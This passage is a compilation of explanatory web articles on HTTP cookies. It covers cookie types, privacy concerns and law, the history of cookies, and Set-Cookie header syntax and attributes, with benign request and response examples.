typical cookie storage location. They use these backups to reappear within a browser 

after they are deleted. Zombie cookies are sometimes used by unscrupulous ad 

networks, and even by cyber attackers. 

What is a third-party cookie? 

A third-party cookie is a cookie that belongs to a domain other than the one 

displayed in the browser. Third-party cookies are most often used for tracking 

purposes. They contrast with first-party cookies, which are associated with the same 

domain that appears in the user's browser. 

When Alice does her shopping at jeans.example.com, the jeans.example.com origin 

server uses a session cookie to remember that she has logged into her account. This 

is an example of a first-party cookie. However, Alice may not be aware that a cookie 

from example.ad-network.com is also stored in her browser and is tracking her 

activity on jeans.example.com, even though she is not currently accessing 

example.ad-network.com. This is an example of a third-party cookie. 

https://www.cloudflare.com/learning/dns/glossary/what-is-a-domain-name/
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How do cookies affect user privacy? 

As described above, cookies can be used to record browsing activity, including for 

advertising purposes. However, many users do not want their online behavior to be 

tracked. Users also lack visibility or control over what tracking services do with the 

data they collect. 

Even when cookie-based tracking is not tied to a specific user's name or device, with 

some types of tracking it could still be possible to link a record of a user's browsing 

activity with their real identity. This information could be used in any number of 

ways, from unwanted advertising to the monitoring, stalking, or harassment of users. 

(This is not the case with all cookie usage.) 

Some privacy laws, like the EU's ePrivacy Directive, address and govern the use of 

cookies. Under this directive, users have to provide "informed consent" — they have 

to be notified of how the website uses cookies and agree to this usage — before the 

website can use cookies. (The exception to this is cookies that are "strictly necessary" 

for the website to function.) The EU's General Data Protection Regulation 

(GDPR) considers cookie identifiers to be personal data, so its rules apply to cookie 

usage in the EU as well. Also, any personal data collected by cookies falls under the 

GDPR's jurisdiction. 

Largely because of these laws, many websites now display cookie banners that allow 

users to review and control the cookies those websites use. 

What are Cookies? 
HTTP cookies are essential to the modern Internet but a vulnerability to your privacy. 
As a necessary part of web browsing, HTTP cookies help web developers give you 
more personal, convenient website visits. Cookies let websites remember you, your 
website logins, shopping carts and more. But they can also be a treasure trove of 
private info for criminals to spy on. 

Guarding your privacy online can be overwhelming. Fortunately, even a basic 
understanding of cookies can help you keep unwanted eyes off your internet activity. 

While most cookies are perfectly safe, some can be used to track you without your 
consent. Worse, legitimate cookies can sometimes be spied upon if a criminal gets 
access. 

In this article, we will guide you through how cookies work and how you can stay 
safe online. We’ll answer key questions like: 

https://www.cloudflare.com/learning/privacy/what-is-eprivacy-directive/
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 What are cookies? 

 What are cookies on a computer? 

 What are cookies on a website? 

 Can cookies contain viruses? 

 How can I remove cookies? 

 

What Are Cookies? 

Cookies are text files with small pieces of data — like a username and password — 
that are used to identify your computer as you use a computer network. Specific 
cookies known as HTTP cookies are used to identify specific users and improve your 
web browsing experience. 

Data stored in a cookie is created by the server upon your connection. This data is 
labeled with an ID unique to you and your computer. 

When the cookie is exchanged between your computer and the network server, the 
server reads the ID and knows what information to specifically serve to you. 

Different types of cookies - Magic Cookies and HTTP 
Cookies 

 Magic Cookies 

 HTTP Cookies 

Cookies generally function the same but have been applied to different use cases: 

"Magic cookies" are an old computing term that refers to packets of information that 
are sent and received without changes. Commonly, this would be used for a login to 
computer database systems, such as a business internal network. This concept 
predates the modern “cookie” we use today. 
HTTP cookies are a repurposed version of the “magic cookie” built for internet 
browsing. Web browser programmer Lou Montulli used the “magic cookie” as 
inspiration in 1994. He recreated this concept for browsers when he helped an online 
shopping store fix their overloaded servers. 
The HTTP cookie is what we currently use to manage our online experiences. It is 
also what some malicious people can use to spy on your online activity and steal 
your personal info. 

To explain, you’ll want to understand exactly what are internet cookies and why do 
they matter? 

What are HTTP Cookies? 

HTTP cookies, or internet cookies, are built specifically for Internet web browsers to 
track, personalize, and save information about each user’s session. A “session” just 
refers to the time you spend on a site. 

https://www.kaspersky.com/resource-center/threats/who-creates-malware


Cookies are created to identify you when you visit a new website. The web server — 
which stores the website’s data — sends a short stream of identifying info to your 
web browser. 

Browser cookies are identified and read by “name-value” pairs. These tell cookies 
where to be sent and what data to recall. 

The server only sends the cookie when it wants the web browser to save it. If you’re 
wondering “where are cookies stored,” it’s simple: your web browser will store it 
locally to remember the “name-value pair” that identifies you. 

If a user returns to that site in the future, the web browser returns that data to the 
web server in the form of a cookie. This is when your browser will send it back to the 
server to recall data from your previous sessions. 

To put it simply, cookies are a bit like getting a ticket for a coat check: 

 You hand over your “coat” to the cloak desk. In this case, a pocket of data is 
linked to you on the website server when you connect. This data can be your 
personal account, your shopping cart, or even just what pages you’ve visited. 

 You get a “ticket” to identify you as the “coat” owner. The cookie for the website 
is given to you and stored in your web browser. It has a unique ID especially for you. 

 If you leave and return, you can get the “coat” with your “ticket”. Your browser 
gives the website your cookie. It reads the unique ID in the cookie to assemble your 
activity data and recall your visit just as you left it. 

What Are Cookies Used For? 

Websites use HTTP cookies to streamline your web experiences. Without cookies, 
you’d have to login again after you leave a site or rebuild your shopping cart if you 
accidentally close the page. Making cookies an important a part of the internet 
experience. 

Based on this, you’ll want to understand why they’re worth keeping — and when 
they’re not. 

Here’s how cookie are intended to be used: 

1. Session management. For example, cookies let websites recognize users and 
recall their individual login information and preferences, such as sports news versus 
politics. 

2. Personalization. Customized advertising is the main way cookies are used to 
personalize your sessions. You may view certain items or parts of a site, and cookies 
use this data to help build targeted ads that you might enjoy. 

3. Tracking. Shopping sites use cookies to track items users previously viewed, 
allowing the sites to suggest other goods they might like and keep items in shopping 
carts while they continue shopping. 

While this is mostly for your benefit, web developers get a lot out of this set-up as 
well. 



Cookies are stored on your device locally to free up storage space on a website’s 
servers. In turn, websites can personalize while saving money on server 
maintenance and storage costs. 

What are the different types of HTTP Cookies? 

With a few variations, cookies in the cyber world come in two types: session and 
persistent. 

Session cookies are used only while navigating a website. They are stored in 
random access memory and are never written to the hard drive. 

When the session ends, session cookies are automatically deleted. They also help 
the "back" button or third-party anonymizer plugins work. These plugins are 
designed for specific browsers to work and help maintain user privacy. 

Persistent cookies remain on a computer indefinitely, although many include an 
expiration date and are automatically removed when that date is reached. 

Persistent cookies are used for two primary purposes: 

1. Authentication. These cookies track whether a user is logged in and under what 
name. They also streamline login information, so users don't have to remember site 
passwords. 

2. Tracking. These cookies track multiple visits to the same site over time. Some 
online merchants, for example, use cookies to track visits from particular users, 
including the pages and products viewed. The information they gain allows them to 
suggest other items that might interest visitors. Gradually, a profile is built based on 
a user's browsing history on that site. 

Why Cookies Can Be Dangerous 

Since the data in cookies doesn't change, cookies themselves aren't harmful. 

They can't infect computers with viruses or other malware. However, some 
cyberattacks can hijack cookies and enable access to your browsing sessions. 

The danger lies in their ability to track individuals' browsing histories. To explain, let’s 
discuss what cookies to watch out for. 

First-Party vs. Third-Party Cookies 

Some cookies may pack more of a threat than others depending on where they 
come from. 

First-party cookies are directly created by the website you are using. These are 
generally safer, as long as you are browsing reputable websites or ones that have 
not been compromised. 
Third-party cookies are more troubling. They are generated by websites that are 
different from the web pages users are currently surfing, usually because they're 
linked to ads on that page. 

https://www.kaspersky.com/resource-center/threats/browser-hijacking


Visiting a site with 10 ads may generate 10 cookies, even if users never click on 
those ads. 

Third-party cookies let advertisers or analytics companies track an individual's 
browsing history across the web on any sites that contain their ads. 

Consequently, the advertiser could determine that a user first searched for running 
apparel at a specific outdoor store before checking a particular sporting goods site 
and then a certain online sportswear boutique. 

Zombie cookies are from a third-party and permanently installed on users' 
computers, even when they opt not to install cookies. They also reappear after 
they've been deleted. When zombie cookies first appeared, they were created from 
data stored in the Adobe Flash storage bin. They are sometimes called “flash 
cookies” and are extremely difficult to remove. 

Like other third-party cookies, zombie cookies can be used by web analytics 
companies to track unique individuals' browsing histories. Websites may also use 
zombies to ban specific users. 

Allowing or Removing Cookies 

Cookies can be an optional part of your internet experience. If you so choose, you 
can limit what cookies end up on your computer or mobile device. 

If you allow cookies, it will streamline your surfing. For some users, no cookies 
security risk is more important than a convenient internet experience. 

Here’s how to allow cookies: 

 Find the cookie section — typically under Settings > Privacy. 

 Click the boxes to allow cookies. Sometimes the option says, "Allow local data.” 

 If you don’t want cookies, you can simply uncheck these boxes. 

Removing cookies can help you mitigate your risks of privacy breaches. It can also 
reset your browser tracking and personalization. To help, Kaspersky offers step-by-
step instructions for removing cookies from the most popular web browsers. 

Removing normal cookies is easy, but it could make certain web sites harder to 
navigate. Without cookies internet, users may have to re-enter their data for each 
visit. Different browsers store cookies in different places, but usually, you can: 

 Find the Settings, Privacy section — sometimes listed under Tools, Internet Options, 
or Advanced. 

 Follow the prompts on the available options to manage or remove cookies. 

To remove tracking cookie infestations and more malicious types, you’ll want to 
enlist the help of some internet security software. 

https://www.techopedia.com/definition/25736/zombie-cookie
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Before removing cookies, evaluate the ease of use expected from a website that 
uses cookies. In most cases, cookies improve the web experience, but they should 
be handled carefully. 

In the future, you can anonymize your web use by using a virtual private network 
(VPN). These services tunnel your web connection to a remote server that poses as 
you. Cookies will be labelled for that remote server in another country, instead of 
your local computer. 

Regardless of how you handle cookies, it’s best to remain on guard and clean up 
your cookies often. 

Kaspersky Internet Security received two AV-TEST awards for the best performance 
& protection for an internet security product in 2021. In all tests Kaspersky Internet 
Security showed outstanding performance and protection against cyber-threats. 
 
Related articles: 

 What is Adware? 
 What is a Trojan? 
 Computer Viruses and Malware Facts and FAQ 
 Spam and Phishing 

 

HTTP cookie 
HTTP cookies (also called web cookies, Internet cookies, browser cookies, or 
simply cookies) are small blocks of data created by a web server while 
a user is browsing a website and placed on the user's computer or other device by 
the user's web browser. Cookies are placed on the device used to access a website, 
and more than one cookie may be placed on a user's device during a session. 

Cookies serve useful and sometimes essential functions on the web. They enable 
web servers to store stateful information (such as items added in the shopping cart in 
an online store) on the user's device or to track the user's browsing activity (including 
clicking particular buttons, logging in, or recording which pages were visited in the 
past).[1] They can also be used to save for subsequent use information that the user 
previously entered into form fields, such as names, addresses, passwords, 
and payment card numbers. 

Authentication cookies are commonly used by web servers to authenticate that a 
user is logged in, and with which account they are logged in. Without the cookie, 
users would need to authenticate themselves by logging in on each page containing 
sensitive information that they wish to access. The security of an authentication 
cookie generally depends on the security of the issuing website and the user's web 
browser, and on whether the cookie data is encrypted. Security vulnerabilities may 
allow a cookie's data to be read by an attacker, used to gain access to user data, or 
used to gain access (with the user's credentials) to the website to which the cookie 
belongs (see cross-site scripting and cross-site request forgery for examples).[2] 

Tracking cookies, and especially third-party tracking cookies, are commonly used 
as ways to compile long-term records of individuals' browsing histories — a 
potential privacy concern that prompted European[3] and U.S. lawmakers to take 
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action in 2011.[4][5] European law requires that all websites targeting European 
Union member states gain "informed consent" from users before storing non-
essential cookies on their device. 

Background 
Origin of the name 

The term cookie was coined by web-browser programmer Lou Montulli. It was 
derived from the term magic cookie, which is a packet of data a program receives 
and sends back unchanged, used by Unix programmers.[6][7] The term magic cookie 
itself derives from the fortune cookie, a wafer with a paper message inside.[8] 

History 

Magic cookies were already used in computing when computer programmer Lou 
Montulli had the idea of using them in web communications in June 1994.[9] At the 
time, he was an employee of Netscape Communications, which was developing 
an e-commerce application for MCI. Vint Cerf and John Klensin represented MCI in 
technical discussions with Netscape Communications. MCI did not want its servers 
to have to retain partial transaction states, which led them to ask Netscape to find a 
way to store that state in each user's computer instead. Cookies provided a solution 
to the problem of reliably implementing a virtual shopping cart.[10][11] 

Together with John Giannandrea, Montulli wrote the initial Netscape cookie 
specification the same year. Version 0.9beta of Mosaic Netscape, released on 
October 13, 1994,[12][13] supported cookies.[11] The first use of cookies (out of the labs) 
was checking whether visitors to the Netscape website had already visited the site. 
Montulli applied for a patent for the cookie technology in 1995, which was granted in 
1998.[14] Support for cookies was integrated with Internet Explorer in version 2, 
released in October 1995.[15] 

The introduction of cookies was not widely known to the public at the time. In 
particular, cookies were accepted by default, and users were not notified of their 
presence.[citation needed] The public learned about cookies after the Financial 
Times published an article about them on February 12, 1996.[16] In the same year, 
cookies received a lot of media attention, especially because of potential privacy 
implications. Cookies were discussed in two U.S. Federal Trade 
Commission hearings in 1996 and 1997.[2] 

The development of the formal cookie specifications was already ongoing. In 
particular, the first discussions about a formal specification started in April 1995 on 
the www-talk mailing list. A special working group within the Internet Engineering 
Task Force (IETF) was formed. Two alternative proposals for introducing state in 
HTTP transactions had been proposed by Brian Behlendorf and David Kristol 
respectively. But the group, headed by Kristol himself and Lou Montulli, soon 
decided to use the Netscape specification as a starting point. In February 1996, the 
working group identified third-party cookies as a considerable privacy threat. The 
specification produced by the group was eventually published as RFC 2109 in 
February 1997. It specifies that third-party cookies were either not allowed at all, or 
at least not enabled by default.[17] At this time, advertising companies were already 
using third-party cookies. The recommendation about third-party cookies of RFC 

https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-eulaw-4
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-KM1a4-5
https://en.wikipedia.org/wiki/European_Union
https://en.wikipedia.org/wiki/European_Union
https://en.wikipedia.org/wiki/Informed_consent
https://en.wikipedia.org/wiki/Lou_Montulli
https://en.wikipedia.org/wiki/Magic_cookie
https://en.wikipedia.org/wiki/Unix
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-wdi6I-6
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-xVtjM-7
https://en.wikipedia.org/wiki/Fortune_cookie
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-8
https://en.wikipedia.org/wiki/Lou_Montulli
https://en.wikipedia.org/wiki/Lou_Montulli
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-N4WV7-9
https://en.wikipedia.org/wiki/Netscape_Communications
https://en.wikipedia.org/wiki/E-commerce
https://en.wikipedia.org/wiki/MCI_Inc.
https://en.wikipedia.org/wiki/Vint_Cerf
https://en.wikipedia.org/wiki/John_Klensin
https://en.wikipedia.org/wiki/Shopping_cart_software
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-kesan-10
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-kristol-11
https://en.wikipedia.org/wiki/Netscape_Navigator
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-JgNeY-12
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-8YpTv-13
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-kristol-11
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-14
https://en.wikipedia.org/wiki/Internet_Explorer
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-95BiI-15
https://en.wikipedia.org/wiki/Wikipedia:Citation_needed
https://en.wikipedia.org/wiki/Financial_Times
https://en.wikipedia.org/wiki/Financial_Times
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-B3JMd-16
https://en.wikipedia.org/wiki/Federal_Trade_Commission
https://en.wikipedia.org/wiki/Federal_Trade_Commission
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-UjTred-2
https://en.wikipedia.org/wiki/Electronic_mailing_list
https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force
https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force
https://en.wikipedia.org/wiki/Brian_Behlendorf
https://en.wikipedia.org/wiki/HTTP_cookie#cite_note-RFC2109-17


2109 was not followed by Netscape and Internet Explorer. RFC 2109 was 
superseded by RFC 2965 in October 2000. 

RFC 2965 added a Set-Cookie2  header field, which informally came to be called 

"RFC 2965-style cookies" as opposed to the original Set-Cookie  header field which 

was called "Netscape-style cookies".[18][19] Set-Cookie2  was seldom used, however, 

and was deprecated in RFC 6265 in April 2011 which was written as a definitive 
specification for cookies as used in the real world.[20] No modern browser recognizes 

the Set-Cookie2  header field.[21] 

Terminology 
Session cookie 

A session cookie (also known as an in-memory cookie, transient cookie or non-
persistent cookie) exists only in temporary memory while the user navigates a 
website.[22] Session cookies expire or are deleted when the user closes the web 
browser.[23] Session cookies are identified by the browser by the absence of an 
expiration date assigned to them. 

Persistent cookie 

A persistent cookie expires at a specific date or after a specific length of time. For 
the persistent cookie's lifespan set by its creator, its information will be transmitted to 
the server every time the user visits the website that it belongs to, or every time the 
user views a resource belonging to that website from another website (such as an 
advertisement). 

For this reason, persistent cookies are sometimes referred to as tracking cookies[citation 

needed] because they can be used by advertisers to record information about a user's 
web browsing habits over an extended period of time. Persistent cookies are also 
used for reasons such as keeping users logged into their accounts on websites, to 
avoid re-entering login credentials at every visit. (See § Uses, below.) 

Secure cookie 

A secure cookie can only be transmitted over an encrypted connection (i.e. HTTPS). 
They cannot be transmitted over unencrypted connections (i.e. HTTP). This makes 
the cookie less likely to be exposed to cookie theft via eavesdropping. A cookie is 

made secure by adding the Secure  flag to the cookie. 

Http-only cookie 

An http-only cookie cannot be accessed by client-side APIs, such as JavaScript. This 
restriction eliminates the threat of cookie theft via cross-site 
scripting (XSS).[24] However, the cookie remains vulnerable to cross-site 
tracing (XST) and cross-site request forgery (CSRF) attacks. A cookie is given this 

characteristic by adding the HttpOnly  flag to the cookie. 

Same-site cookie 

In 2016 Google Chrome version 51 introduced[25] a new kind of cookie with 

attribute SameSite . The attribute SameSite  can have a value 

of Strict , Lax  or None .[26] With attribute SameSite=Strict , the browsers would only 
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send cookies to a target domain that is the same as the origin domain. This would 

effectively mitigate cross-site request forgery (CSRF) attacks.[27] With SameSite=Lax , 

browsers would send cookies with requests to a target domain even it is different 
from the origin domain, but only for safe requests such as GET (POST is unsafe) 

and not third-party cookies (inside iframe). Attribute SameSite=None  would allow 

third-party (cross-site) cookies, however, most browsers require secure attribute on 
SameSite=None cookies.[28] 

The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State 
Management Mechanism" to update RFC 6265 (if approved). 

Chrome, Firefox, Microsoft Edge all started to support Same-site cookies.[29] The key 
of rollout is the treatment of existing cookies without the SameSite attribute defined, 
Chrome has been treating those existing cookies as if SameSite=None, this would 
keep all website/applications run as before. Google intended to change that default 
to SameSite=Lax in February 2020,[30] the change would break those 
applications/websites that rely on third-party/cross-site cookies, but without 
SameSite attribute defined. Given the extensive changes for web developers 
and COVID-19 circumstances, Google temporarily rolled back the SameSite cookie 
change.[31] 

Supercookie 

A supercookie is a cookie with an origin of a top-level domain (such as .com ) or a 

public suffix (such as .co.uk ). Ordinary cookies, by contrast, have an origin of a 

specific domain name, such as example.com . 

Supercookies can be a potential security concern and are therefore often blocked by 
web browsers. If unblocked by the browser, an attacker in control of a malicious 
website could set a supercookie and potentially disrupt or impersonate legitimate 
user requests to another website that shares the same top-level domain or public 

suffix as the malicious website. For example, a supercookie with an origin of .com , 

could maliciously affect a request made to example.com , even if the cookie did not 

originate from example.com . This can be used to fake logins or change user 

information. 

The Public Suffix List[32] helps to mitigate the risk that supercookies pose. The Public 
Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date 
list of domain name suffixes. Older versions of browsers may not have an up-to-date 
list, and will therefore be vulnerable to supercookies from certain domains. 

Other uses 

The term supercookie is sometimes used for tracking technologies that do not rely 
on HTTP cookies. Two such supercookie mechanisms were found on Microsoft 
websites in August 2011: cookie syncing that respawned MUID (machine unique 
identifier) cookies, and ETag cookies.[33] Due to media attention, Microsoft later 
disabled this code.[34] In a 2021 blog post, Mozilla used the term supercookie to refer 
to the use of browser cache as a means of tracking users across sites.[35] 

Zombie cookie 
Main articles: Zombie cookie and Evercookie 
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A zombie cookie is data and code that has been placed by a web server on a 
visitor's computer or other device in a hidden location outside the visitor's web 
browser's dedicated cookie storage location, and that automatically recreates a 
HTTP cookie as a regular cookie after the original cookie had been deleted. The 
zombie cookie may be stored in multiple locations, such as Flash Local shared 
object, HTML5 Web storage, and other client-side and even server-side locations, 
and when absence is detected in one of the locations, the missing instance is 
recreated by the JavaScript code using the data stored in other locations.[36][37] 

Cookie wall 

A cookie wall pops up on a website and informs the user of the website's cookie 
usage. It has no reject option, and the website is not accessible without tracking 
cookies. 

Structure 

A cookie consists of the following components:[38][39][40] 

1. Name 

2. Value 

3. Zero or more attributes (name/value pairs). Attributes store information such 

as the cookie's expiration, domain, and flags (such as Secure  and HttpOnly ). 

Uses 
Session management 

Cookies were originally introduced to provide a way for users to record items they 
want to purchase as they navigate throughout a website (a virtual shopping 
cart or shopping basket).[10][11] Today, however, the contents of a user's shopping cart 
are usually stored in a database on the server, rather than in a cookie on the client. 
To keep track of which user is assigned to which shopping cart, the server sends a 
cookie to the client that contains a unique session identifier (typically, a long string of 
random letters and numbers). Because cookies are sent to the server with every 
request the client makes, that session identifier will be sent back to the server every 
time the user visits a new page on the website, which lets the server know which 
shopping cart to display to the user. 

Another popular use of cookies is for logging into websites. When the user visits a 
website's login page, the web server typically sends the client a cookie containing a 
unique session identifier. When the user successfully logs in, the server remembers 
that that particular session identifier has been authenticated and grants the user 
access to its services. 

Because session cookies only contain a unique session identifier, this makes the 
amount of personal information that a website can save about each user virtually 
limitless—the website is not limited to restrictions concerning how large a cookie can 
be. Session cookies also help to improve page load times, since the amount of 
information in a session cookie is small and requires little bandwidth. 

Personalization 
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Cookies can be used to remember information about the user in order to show 
relevant content to that user over time. For example, a web server might send a 
cookie containing the username that was last used to log into a website, so that it 
may be filled in automatically the next time the user logs in. 

Many websites use cookies for personalization based on the user's preferences. 
Users select their preferences by entering them in a web form and submitting the 
form to the server. The server encodes the preferences in a cookie and sends the 
cookie back to the browser. This way, every time the user accesses a page on the 
website, the server can personalize the page according to the user's preferences. 
For example, the Google search engine once used cookies to allow users (even non-
registered ones) to decide how many search results per page they wanted to see. 
Also, DuckDuckGo uses cookies to allow users to set the viewing preferences like 
colors of the web page. 

Tracking 
See also: Web tracking 

Tracking cookies are used to track users' web browsing habits. This can also be 
done to some extent by using the IP address of the computer requesting the page or 
the referer field of the HTTP request header, but cookies allow for greater precision. 
This can be demonstrated as follows: 

1. If the user requests a page of the site, but the request contains no cookie, the 
server presumes that this is the first page visited by the user. So the server 
creates a unique identifier (typically a string of random letters and numbers) 
and sends it as a cookie back to the browser together with the requested 
page. 

2. From this point on, the cookie will automatically be sent by the browser to the 
server every time a new page from the site is requested. The server not only 
sends the page as usual but also stores the URL of the requested page, the 
date/time of the request, and the cookie in a log file. 

By analyzing this log file, it is then possible to find out which pages the user has 
visited, in what sequence, and for how long. 

Corporations exploit users' web habits by tracking cookies to collect information 
about buying habits. The Wall Street Journal found that America's top fifty websites 
installed an average of sixty-four pieces of tracking technology onto computers, 
resulting in a total of 3,180 tracking files.[41] The data can then be collected and sold 
to bidding corporations. 

Implementation 

 

A possible interaction between a web browser and a web server holding a web page in which the server 

sends a cookie to the browser and the browser sends it back when requesting another page. 
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Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, 
and stored on the client computer by the web browser. The browser then sends them 
back to the server with every request, introducing states (memory of previous 
events) into otherwise stateless HTTP transactions. Without cookies, each retrieval 
of a web page or component of a web page would be an isolated event, largely 
unrelated to all other page views made by the user on the website. Although cookies 
are usually set by the web server, they can also be set by the client using a scripting 

language such as JavaScript (unless the cookie's HttpOnly  flag is set, in which case 

the cookie cannot be modified by scripting languages). 

The cookie specifications[42][43] require that browsers meet the following requirements 
in order to support cookies: 

 Can support cookies as large as 4,096 bytes in size. 

 Can support at least 50 cookies per domain (i.e. per website). 

 Can support at least 3,000 cookies in total. 

Setting a cookie 

Cookies are set using the Set-Cookie  header field, sent in an HTTP response from 

the web server. This header field instructs the web browser to store the cookie and 
send it back in future requests to the server (the browser will ignore this header field 
if it does not support cookies or has disabled cookies). 

As an example, the browser sends its first HTTP request for the homepage of 

the www.example.org  website: 

GET /index.html HTTP/1.1 

Host: www.example.org 

... 

The server responds with two Set-Cookie  header fields: 

HTTP/1.0 200 OK 

Content-type: text/html 

Set-Cookie: theme=light 

Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT 

... 

The server's HTTP response contains the contents of the website's homepage. But it 
also instructs the browser to set two cookies. The first, theme, is considered to be 

a session cookie since it does not have an Expires  or Max-Age  attribute. Session 

cookies are intended to be deleted by the browser when the browser closes. The 
second, sessionToken, is considered to be a persistent cookie since it contains 

an Expires  attribute, which instructs the browser to delete the cookie at a specific 

date and time. 

Next, the browser sends another request to visit the spec.html  page on the website. 

This request contains a Cookie  header field, which contains the two cookies that the 

server instructed the browser to set: 
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GET /spec.html HTTP/1.1 

Host: www.example.org 

Cookie: theme=light; sessionToken=abc123 

… 

This way, the server knows that this HTTP request is related to the previous one. 
The server would answer by sending the requested page, possibly including 

more Set-Cookie  header fields in the HTTP response in order to instruct the 

browser to add new cookies, modify existing cookies, or remove existing cookies. To 

remove a cookie, the server must include a Set-Cookie  header field with an 

expiration date in the past. 

The value of a cookie may consist of any printable ASCII character 

(!  through ~ , Unicode \u0021  through \u007E ) excluding ,and;  and whitespace 

characters. The name of a cookie excludes the same characters, as well as = , since 

that is the delimiter between the name and value. The cookie standard RFC 2965 is 
more restrictive but not implemented by browsers. 

The term cookie crumb is sometimes used to refer to a cookie's name–value pair.[44] 

Cookies can also be set by scripting languages such as JavaScript that run within 

the browser. In JavaScript, the object document.cookie  is used for this purpose. For 

example, the instruction document.cookie = "temperature=20"  creates a cookie of 

name temperature and value 20.[45] 

Cookie attributes 

In addition to a name and value, cookies can also have one or more attributes. 
Browsers do not include cookie attributes in requests to the server—they only send 
the cookie's name and value. Cookie attributes are used by browsers to determine 
when to delete a cookie, block a cookie or whether to send a cookie to the server. 

Domain and Path 

The Domain  and Path  attributes define the scope of the cookie. They essentially tell 

the browser what website the cookie belongs to. For security reasons, cookies can 
only be set on the current resource's top domain and its subdomains, and not for 

another domain and its subdomains. For example, the website example.org  cannot 

set a cookie that has a domain of foo.com  because this would allow the 

website example.org  to control the cookies of the domain foo.com . 

If a cookie's Domain  and Path  attributes are not specified by the server, they default 

to the domain and path of the resource that was requested.[46] However, in most 

browsers there is a difference between a cookie set from foo.com  without a domain, 

and a cookie set with the foo.com  domain. In the former case, the cookie will only be 

sent for requests to foo.com , also known as a host-only cookie. In the latter case, all 

subdomains are also included (for example, docs.foo.com ).[47][48] A notable exception 

to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 
11 and Windows 10 RS4 (April 2018), which always sends cookies to subdomains 
regardless of whether the cookie was set with or without a domain.[49] 
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Below is an example of some Set-Cookie  header fields in the HTTP response of a 

website after a user logged in. The HTTP request was sent to a webpage within 

the docs.foo.com  subdomain: 

HTTP/1.0 200 OK 

Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 

22:23:01 GMT; Secure; HttpOnly 

Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 

Jan 2021 22:23:01 GMT; HttpOnly 

Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 

2021 22:23:01 GMT; Secure; HttpOnly 

… 

The first cookie, LSID , has no Domain  attribute, and has a Path  attribute set 

to /accounts . This tells the browser to use the cookie only when requesting pages 

contained in docs.foo.com/accounts  (the domain is derived from the request 

domain). The other two cookies, HSID  and SSID , would be used when the browser 

requests any subdomain in .foo.com  on any path (for example www.foo.com/bar ). 

The prepending dot is optional in recent standards, but can be added for 
compatibility with RFC 2109 based implementations.[50] 

Expires and Max-Age 

The Expires  attribute defines a specific date and time for when the browser should 

delete the cookie. The date and time are specified in the form Wdy, DD Mon YYYY 

HH:MM:SS GMT , or in the form Wdy, DD Mon YY HH:MM:SS GMT  for values of YY where 

YY is greater than or equal to 0 and less than or equal to 69.[51] 

Alternatively, the Max-Age  attribute can be used to set the cookie's expiration as an 

interval of seconds in the future, relative to the time the browser received the cookie. 

Below is an example of three Set-Cookie  header fields that were received from a 

website after a user logged in: 

HTTP/1.0 200 OK 

Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 

GMT; Path=/; Domain=.example.com; HttpOnly 

Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com 

Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; 

Path=/; Domain=.example.com; HttpOnly 

The first cookie, lu , is set to expire sometime on 15 January 2013. It will be used by 

the client browser until that time. The second cookie, made_write_conn , does not 

have an expiration date, making it a session cookie. It will be deleted after the user 

closes their browser. The third cookie, reg_fb_gate , has its value changed 

to deleted, with an expiration time in the past. The browser will delete this cookie 
right away because its expiration time is in the past. Note that cookie will only be 

deleted if the domain and path attributes in the Set-Cookie  field match the values 

used when the cookie was created. 

As of 2016 Internet Explorer did not support Max-Age .[52][53] 

Secure and HttpOnly 
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The Secure  and HttpOnly  attributes do not have associated values. Rather, the 

presence of just their attribute names indicates that their behaviors should be 
enabled. 

The Secure  attribute is meant to keep cookie communication limited to encrypted 

transmission, directing browsers to use cookies only 
via secure/encrypted connections. However, if a web server sets a cookie with a 
secure attribute from a non-secure connection, the cookie can still be intercepted 
when it is sent to the user by man-in-the-middle attacks. Therefore, for maximum 
security, cookies with the Secure attribute should only be set over a secure 
connection. 

The HttpOnly  attribute directs browsers not to expose cookies through channels 

other than HTTP (and HTTPS) requests. This means that the cookie cannot be 
accessed via client-side scripting languages (notably JavaScript), and therefore 
cannot be stolen easily via cross-site scripting (a pervasive attack technique).[54] 

Browser settings 

Most modern browsers support cookies and allow the user to disable them. The 
following are common options:[55] 

 To enable or disable cookies completely, so that they are always accepted or 
always blocked. 

 To view and selectively delete cookies using a cookie manager. 

 To fully wipe all private data, including cookies. 

Add-on tools for managing cookie permissions also exist.[56][57][58][59] 

Third-party cookie 
See also: Web analytics § Problems with cookies 

Cookies have some important implications for the privacy and anonymity of web 
users. While cookies are sent only to the server setting them or a server in the same 
Internet domain, a web page may contain images or other components stored on 
servers in other domains. Cookies that are set during retrieval of these components 
are called third-party cookies. A third-party cookie, belongs to a domain different 
from the one shown in the address bar. This sort of cookie typically appears when 
web pages feature content from external websites, such as banner advertisements. 
This opens up the potential for tracking the user's browsing history and is used by 
advertisers to serve relevant advertisements to each user. 
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In this fictional example, an advertising company has placed banners in two websites. By hosting the 

